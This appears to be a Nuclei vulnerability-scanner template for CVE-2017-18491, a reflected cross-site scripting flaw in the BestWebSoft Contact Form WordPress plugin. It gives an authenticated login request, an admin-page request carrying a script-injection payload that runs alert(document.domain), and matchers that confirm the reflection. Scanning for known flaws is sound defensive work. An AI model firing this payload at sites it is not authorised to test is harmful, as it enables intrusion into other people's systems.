id: CVE-2017-18491 info: name: Contact Form by BestWebSoft < 4.0.6 - Cross-Site Scripting author: luisfelipe146 severity: medium description: | The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues. reference: - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694 - https://nvd.nist.gov/vuln/detail/CVE-2017-18491 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18491 - https://wordpress.org/plugins/contact-form-plugin/#developers classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-18491 cwe-id: CWE-79 epss-score: 0.00088 epss-percentile: 0.36961 cpe: cpe:2.3:a:bestwebsoft:contact_form:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: bestwebsoft product: contact_form framework: wordpress publicwww-query: "/wp-content/plugins/contact-form-plugin/" tags: cve,cve2017,wordpress,bws,contact-form,wpscan,wp-plugin,xss,authenticated http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/plugins/contact-form-plugin/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(header_2, "text/html")' - 'contains(body_2, ">\">All")' - 'contains(body_3, "Contact Form by")' condition: and # digest: 490a004630440220203aafce6366113241d95488aea53216df347aac7feb8a2dd590fae6e3ff1c500220048e995f1d8d71aba72d1417c1bac63fe901566d78c3781b06aaf4cf4908fa8a:922c64590222798bb761d5b6d8e72950